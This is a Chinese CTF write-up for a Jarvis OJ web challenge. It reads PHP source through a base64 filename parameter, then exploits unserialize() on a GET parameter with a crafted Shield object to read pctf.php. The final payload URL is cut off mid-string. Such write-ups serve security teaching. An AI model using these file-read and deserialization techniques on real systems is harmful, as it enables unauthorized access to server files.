<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>将 c2hpZWxkLmpwZw== base64解码为 shield.jpg
将index.php 进行base64编码为 aW5kZXgucGhw，进行访问读取源码
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw右键打开查看源码：
<?phprequire_once('shield.php');$x = new Shield();isset($_GET['class']) && $g = $_GET['class'];if (!empty($g)) {$x = unserialize($g);}echo $x->readfile();?><img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
这里有一个反序列化的可控的点，并且会调用readfile函数，发现有个 shield.php
把shield.php 进行base64编码后，继续读源码
view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA
源码如下：
<?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = '') {$this -> file = $filename;}function readfile() {if (!empty($this->file) && stripos($this->file,'..')===FALSE&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}?>
flag在pctf.php里，用刚才的方法不能读取 该文件
在本地搭建环境，构造payload：
<?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = '') {$this -> file = $filename;}function readfile() {if (!empty($this->file) && stripos($this->file,'..')===FALSE&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}$a = new Shield("pctf.php");echo serialize($a);?>
payload：
注：看源码
view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:转载请注明：XAMPP中文组官网 » CTF-WEB: php反序列化